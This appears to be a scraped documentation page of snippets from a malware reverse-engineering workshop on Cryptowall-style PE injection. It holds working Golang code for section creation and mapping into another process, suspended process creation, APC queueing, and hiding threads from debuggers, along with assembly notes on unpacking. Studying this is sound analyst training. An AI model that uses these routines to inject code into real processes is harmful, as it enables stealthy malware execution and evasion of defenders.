Portable Executable Injection Study

https://malwareunicorn.org/workshops/peinjection.html
Admin
This workshop focuses on reverse engineering Cryptowall malware to extract and replicate its...
Tokens:7,332
Snippets:41
Trust Score:7.9
Update:7 months ago
Show doc for...
Tokens:
Raw
### NtCreateSection API

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This section details the NtCreateSection API, used for creating a new section in a process's address space. It outlines the function prototype and provides a Golang implementation.

```APIDOC
## NtCreateSection API

### Description
Creates a new section object, which can represent a file mapping or an anonymous memory region. This is a key step in advanced process injection techniques.

### Method
Native API Call

### Endpoint
N/A (System Call)

### Parameters
#### Path Parameters
None

#### Query Parameters
None

#### Request Body
- **SectionHandle** (PHANDLE) - Required - Pointer to a HANDLE that will receive the handle to the created section.
- **DesiredAccess** (ACCESS_MASK) - Required - The type of access requested to the section object.
- **ObjectAttributes** (POBJECT_ATTRIBUTES) - Optional - Pointer to an OBJECT_ATTRIBUTES structure that specifies the object attributes.
- **MaximumSize** (PLARGE_INTEGER) - Required - Pointer to a LARGE_INTEGER that specifies the maximum size, in bytes, of the section.
- **SectionPageProtection** (ULONG) - Required - The page protection for the section. Can be one of the PAGE_* constants.
- **AllocationAttributes** (ULONG) - Required - The memory allocation attributes for the section. Can be SEC_COMMIT, SEC_RESERVE, or SEC_IMAGE.
- **FileHandle** (HANDLE) - Optional - Handle to an open file object. If this is NULL, the section is created as an anonymous backing store.

### Request Example
```golang
func CreateNewSection(ntdll syscall.Handle, size int64) (uintptr, error) {
        var err error
        NtCreateSection, err := syscall.GetProcAddress(syscall.Handle(ntdll), "NtCreateSection")
        if err != nil {
                return 0, err
        }
        var section uintptr
        r, a, err := syscall.Syscall9(uintptr(NtCreateSection),
                7,
                uintptr(unsafe.Pointer(&section)), // PHANDLE            SectionHandle,
                FILE_MAP_ALL_ACCESS,               // ACCESS_MASK        DesiredAccess,
                0,                                 // POBJECT_ATTRIBUTES ObjectAttributes,
                uintptr(unsafe.Pointer(&size)),    // PLARGE_INTEGER     MaximumSize,
                windows.PAGE_EXECUTE_READWRITE,    // ULONG              SectionPageProtection,
                SEC_COMMIT,                        // ULONG              AllocationAttributes,
                0,                                 // HANDLE             FileHandle
                0,
                0)
        if r != 0 {
                log.Printf("NtCreateSection ERROR CODE: %x", r)
                return 0, err
        }
        log.Printf("%x %x %s", r, a, err)
        if section == 0 {
                return 0, fmt.Errorf("NtCreateSection failed for unknown reason")
        }
        log.Printf("Section: %0x\n", section)
        return section, nil
}
```

### Response
#### Success Response (0)
- **SectionHandle** (HANDLE) - A handle to the newly created section.

#### Response Example
(Return value is the section handle, error indicates success or failure)
```

--------------------------------

### Query Process Architecture with ZwQueryInformationProcess (Golang)

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This Golang function uses the ZwQueryInformationProcess Windows API to determine if a process is running in 32-bit or 64-bit mode. It checks the ProcessWow64Information class to ascertain the architecture, which is crucial for selecting the correct system directory (System32 or SysWOW64).

```Golang
func IsSysWow64(ntdll syscall.Handle) (bool, error) {
        var pInfo uintptr
        pInfoLen := uint32(unsafe.Sizeof(pInfo))
        ZwQueryInformationProcess, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "ZwQueryInformationProcess")
        if err != nil {
                return false, err
        }
        r, _, err := syscall.Syscall6(uintptr(ZwQueryInformationProcess),
                5,
                uintptr(windows.CurrentProcess()),        // ProcessHandle
                uintptr(windows.ProcessWow64Information), // ProcessInformationClass
                uintptr(unsafe.Pointer(&pInfo)),         // ProcessInformation
                uintptr(pInfoLen),                       // ProcessInformationLength
                uintptr(unsafe.Pointer(&pInfoLen)),      // ReturnLength
                0)
        if r != 0 {
                log.Printf("ZwQueryInformationProcess ERROR CODE: %x", r)
                return false, err
        }
        if pInfo != 0 {
                return true, nil
        }
        return false, nil
}
```

--------------------------------

### ZwMapViewOfSection API

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This section details the ZwMapViewOfSection API, used for mapping a section into the address space of a process. It provides the function prototype and a Golang implementation.

```APIDOC
## ZwMapViewOfSection API

### Description
Maps a view of a section object into the address space of a specified process. This allows processes to share memory through the section object.

### Method
Native API Call

### Endpoint
N/A (System Call)

### Parameters
#### Path Parameters
None

#### Query Parameters
None

#### Request Body
- **SectionHandle** (HANDLE) - Required - Handle to the section object to be mapped.
- **ProcessHandle** (HANDLE) - Required - Handle to the process into which the section will be mapped. Use -1 (0xFFFFFFFF) for the current process.
- **BaseAddress** (PVOID *) - Optional - Pointer to a variable that receives the base address of the mapped view. If NULL, the system determines where to commit the region.
- **ZeroBits** (ULONG_PTR) - Optional - If 0, the system commits the entire view. Otherwise, it specifies the number of high-order bits of the base address that must be zero.
- **CommitSize** (SIZE_T) - Required - The size, in bytes, of the region to commit.
- **SectionOffset** (PLARGE_INTEGER) - Optional - Pointer to a LARGE_INTEGER that specifies the byte offset within the section of the view to be mapped. If NULL, the mapping starts from the beginning of the section.
- **ViewSize** (PSIZE_T) - Optional - Pointer to a variable that receives the actual size, in bytes, of the mapped view. If NULL, the system determines the size.
- **InheritDisposition** (SECTION_INHERIT) - Required - Specifies how the handle is to be inherited by child processes.
- **AllocationType** (ULONG) - Required - Specifies the type of memory allocation. Typically 0 for standard mapping.
- **Win32Protect** (ULONG) - Required - The page protection for the memory region. Can be PAGE_READWRITE, PAGE_EXECUTE_READWRITE, etc.

### Request Example
```golang
func MapViewOfSection(
        ntdll syscall.Handle, section uintptr,
        phandle uintptr, commitSize uint32,
        viewSize uint32) (uintptr, uint32, error) {
        if phandle == 0 {
                return 0, 0, nil
        }
        var err error
        ZwMapViewOfSection, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "ZwMapViewOfSection")
        if err != nil {
                return 0, 0, err
        }
        var sectionBaseAddr uintptr
        r, a, err := syscall.Syscall12(uintptr(ZwMapViewOfSection),
                10,
                section, // HANDLE          SectionHandle,
                phandle, // HANDLE          ProcessHandle,
                uintptr(unsafe.Pointer(&sectionBaseAddr)), // PVOID           *BaseAddress,
                0,                                  // ULONG_PTR       ZeroBits,
                uintptr(commitSize),                // SIZE_T          CommitSize,
                0,                                  // PLARGE_INTEGER  SectionOffset,
                uintptr(unsafe.Pointer(&viewSize)), // PSIZE_T         ViewSize,
                1,                                  // SECTION_INHERIT InheritDisposition,
                0,                                  // ULONG           AllocationType,
                windows.PAGE_READWRITE,             // ULONG           Win32Protect
                0,
                0)
        if r != 0 {
                log.Printf("ZwMapViewOfSection ERROR CODE: %x", r)
                return 0, 0, err
        }
        log.Printf("%x %x %s", r, a, err)

        return sectionBaseAddr, viewSize, nil
}
```

### Response
#### Success Response (0)
- **BaseAddress** (PVOID) - The starting address of the mapped view in the target process.
- **ViewSize** (SIZE_T) - The actual size of the mapped view.

#### Response Example
(Returns the base address and size of the mapped view, error indicates success or failure)
```

--------------------------------

### Create Suspended Process with CreateProcessInternalW (Golang)

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This Golang function utilizes the undocumented CreateProcessInternalW Windows API to create a new process (e.g., explorer.exe) in a suspended state. This is a common technique in PE injection, allowing modification of the process before its main thread begins execution. It requires the path to the executable.

```Golang
func CreateProcessInt(kernel32 syscall.Handle, procPath string) (uintptr, uintptr, error) {
        CreateProcessInternalW, err := syscall.GetProcAddress(
                syscall.Handle(kernel32), "CreateProcessInternalW")
        if err != nil {
                log.Fatalln(err)
                return 0, 0, err
        }
        var si windows.StartupInfo
        var pi windows.ProcessInformation
        log.Println(procPath)
        r, a, err := syscall.Syscall12(uintptr(CreateProcessInternalW),
                12,
                0, // IN HANDLE hUserToken,
                uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(procPath))), // IN LPCWSTR lpApplicationName,
                0,                                 // IN LPWSTR lpCommandLine,
                0,                                 // IN LPSECURITY_ATTRIBUTES lpProcessAttributes,
                0,                                 // IN LPSECURITY_ATTRIBUTES lpThreadAttributes,
                0,                                 // IN BOOL bInheritHandles,
                uintptr(windows.CREATE_SUSPENDED), // IN DWORD dwCreationFlags,
                0,                                 // IN LPVOID lpEnvironment,
                0,                                 // IN LPCWSTR lpCurrentDirectory,
                uintptr(unsafe.Pointer(&si)),      // IN LPSTARTUPINFOW lpStartupInfo,
                uintptr(unsafe.Pointer(&pi)),      // IN LPPROCESS_INFORMATION lpProcessInformation,
                0)                                 // OUT PHANDLE hNewToken)
        if r > 1 { // hack for error code invalid function
                log.Printf("CreateProcessInternalW ERROR CODE: %x", r)
                return 0, 0, err
        }
        log.Printf("%x %x %s %x", r, a, err, pi.Process)
        return uintptr(pi.Process), uintptr(pi.Thread), nil
}
```

--------------------------------

### Map Section View with ZwMapViewOfSection (Golang)

Source: https://malwareunicorn.org/workshops/peinjection.html/index

Implements the ZwMapViewOfSection function in Golang to map a section into a specified process's address space. This allows the process to access and modify the section's memory. It requires the ntdll handle, the section handle, the process handle, and memory protection flags.

```Golang
func MapViewOfSection(
        ntdll syscall.Handle, section uintptr,
        phandle uintptr, commitSize uint32,
        viewSize uint32) (uintptr, uint32, error) {
        if phandle == 0 {
                return 0, 0, nil
        }
        var err error
        ZwMapViewOfSection, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "ZwMapViewOfSection")
        if err != nil {
                return 0, 0, err
        }
        var sectionBaseAddr uintptr
        r, a, err := syscall.Syscall12(uintptr(ZwMapViewOfSection),
                10,
                section, // HANDLE          SectionHandle,
                phandle, // HANDLE          ProcessHandle,
                uintptr(unsafe.Pointer(&sectionBaseAddr)), // PVOID           *BaseAddress,
                0,                                  // ULONG_PTR       ZeroBits,
                uintptr(commitSize),                // SIZE_T          CommitSize,
                0,                                  // PLARGE_INTEGER  SectionOffset,
                uintptr(unsafe.Pointer(&viewSize)), // PSIZE_T         ViewSize,
                1,                                  // SECTION_INHERIT InheritDisposition,
                0,                                  // ULONG           AllocationType,
                windows.PAGE_READWRITE,             // ULONG           Win32Protect
                0,
                0)
        if r != 0 {
                log.Printf("ZwMapViewOfSection ERROR CODE: %x", r)
                return 0, 0, err
        }
        log.Printf("%x %x %s", r, a, err)

        return sectionBaseAddr, viewSize, nil
}
```

--------------------------------

### Create New Section with NtCreateSection (Golang)

Source: https://malwareunicorn.org/workshops/peinjection.html/index

Implements the NtCreateSection function in Golang to create a new section in memory. This function is crucial for allocating a new section that can later be mapped into processes. It requires the ntdll handle and the desired size of the section.

```Golang
func CreateNewSection(ntdll syscall.Handle, size int64) (uintptr, error) {
        var err error
        NtCreateSection, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "NtCreateSection")
        if err != nil {
                return 0, err
        }
        var section uintptr
        r, a, err := syscall.Syscall9(uintptr(NtCreateSection),
                7,
                uintptr(unsafe.Pointer(&section)), // PHANDLE            SectionHandle,
                FILE_MAP_ALL_ACCESS,               // ACCESS_MASK        DesiredAccess,
                0,                                 // POBJECT_ATTRIBUTES ObjectAttributes,
                uintptr(unsafe.Pointer(&size)),    // PLARGE_INTEGER     MaximumSize,
                windows.PAGE_EXECUTE_READWRITE,    // ULONG              SectionPageProtection,
                SEC_COMMIT,                        // ULONG              AllocationAttributes,
                0,                                 // HANDLE             FileHandle
                0,
                0)
        if r != 0 {
                log.Printf("NtCreateSection ERROR CODE: %x", r)
                return 0, err
        }
        log.Printf("%x %x %s", r, a, err)
        if section == 0 {
                return 0, fmt.Errorf("NtCreateSection failed for unknown reason")
        }
        log.Printf("Section: %0x\n", section)
        return section, nil
}
```

--------------------------------

### Set Thread Information and Resume Thread using Golang

Source: https://malwareunicorn.org/workshops/peinjection.html/index

Provides Golang functions to interact with NtSetInformationThread and NtResumeThread. SetInformationThread uses ThreadHideFromDebugger (0x11) as the ThreadInformationClass, likely to avoid debugger detection. ResumeThread is used to resume a suspended thread.

```go
func SetInformationThread(ntdll syscall.Handle, thandle uintptr) error {
        var err error
        NtSetInformationThread, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "NtSetInformationThread")
        if err != nil {
                return err
        }
        ti := int32(0x11) //ThreadHideFromDebugger
        r, _, err := syscall.Syscall6(uintptr(NtSetInformationThread),
                4,
                thandle,     //         HANDLE          ThreadHandle,
                uintptr(ti), //   THREADINFOCLASS ThreadInformationClass,
                0,           //   PVOID           ThreadInformation,
                0,           //   ULONG           ThreadInformationLength
                0,
                0)
        if r != 0 {
                log.Printf("NtSetInformationThread ERROR CODE: %x", r)
                return err
        }

        return nil
}

func ResumeThread(ntdll syscall.Handle, thandle uintptr) error {
        NtResumeThread, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "NtResumeThread")
        if err != nil {
                return err
        }
        r, _, err := syscall.Syscall(uintptr(NtResumeThread),
                2,
                thandle, //         IN HANDLE               ThreadHandle,
                0,       //   OUT PULONG              SuspendCount OPTIONAL
                0)
        if r != 0 {
                log.Printf("NtResumeThread ERROR CODE: %x", r)
                return err
        }
        return nil
}
```

--------------------------------

### Analyzing Control Flow Obfuscation with XOR Decryption

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This section describes how malware uses control flow obfuscation, breaking code into small chunks followed by jumps. Identifying a `XOR` opcode with a data pointer and a single byte register indicates code decryption. Finding the loop's end (increment, comparison, branch) is crucial for locating the decrypted code.

```assembly
0041122E | 39F1                     | cmp ecx,esi
004112E0 | 72 78                    | jb 546817.41135A
004111C4 | 58                       | pop eax
00411253 | FFE0                     | jmp eax
Size is 0xC80
```

--------------------------------

### Extracting Unpacked Code via Debugger Dump

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This process involves using a debugger to reach the unpacked code section. By setting breakpoints after specific instructions like `JNZ` and on calls to unpacked code, and then dumping the memory at that address, one can extract the initial `JMP` instruction leading to the actual code.

```assembly
0xEB
```

--------------------------------

### Debugging Control Flow Obfuscation with JMP EAX Breakpoint

Source: https://malwareunicorn.org/workshops/peinjection.html/index

To analyze control flow obfuscation, setting a breakpoint on `JMP EAX` allows stepping into the newly decrypted code. This technique, often used with tools like x32dbg, helps in isolating and dumping the decrypted binary data for further analysis in IDA Pro.

```assembly
JMP EAX
```

--------------------------------

### Queue APC Thread using Golang

Source: https://malwareunicorn.org/workshops/peinjection.html/index

Implements the NtQueueApcThread function in Golang to queue an APC routine for execution in a target thread. It retrieves the function address from ntdll.dll and uses syscall.Syscall6 for the call. This function is crucial for asynchronous procedure calls in Windows.

```go
func QueueApcThread(ntdll syscall.Handle, thandle uintptr, funcaddr uintptr) error {
        var err error
        NtQueueApcThread, err := syscall.GetProcAddress(
                syscall.Handle(ntdll), "NtQueueApcThread")
        if err != nil {
                return err
        }
        r, _, err := syscall.Syscall6(uintptr(NtQueueApcThread),
                5,
                thandle,  // IN HANDLE               ThreadHandle,
                funcaddr, // IN PIO_APC_ROUTINE      ApcRoutine, (RemoteSectionBaseAddr)
                0,        // IN PVOID                ApcRoutineContext OPTIONAL,
                0,        // IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,
                0,        // IN ULONG                ApcReserved OPTIONAL
                0)
        if r != 0 {
                log.Printf("NtQueueApcThread ERROR CODE: %x", r)
                return err
        }
        return nil
}
```

--------------------------------

### Identifying Data Manipulation Loops in Assembly

Source: https://malwareunicorn.org/workshops/peinjection.html/index

This pattern, often found in packed malware, involves a loop that compares, moves data, and jumps. Recognizing this structure is key to locating the unpacking routine. It typically consists of a compare and branch, data movement, a loop jump, and an exit jump to newly written bytes.

```assembly
1. A compare instruction followed by a branch instruction.
2. A movement of data to a pointer of empty bytes or existing blob of data.
3. A jump to complete the loop.
4. Then finally an exit to the loop that ends with jumping to the newly written bytes.
```
Tokens:
Raw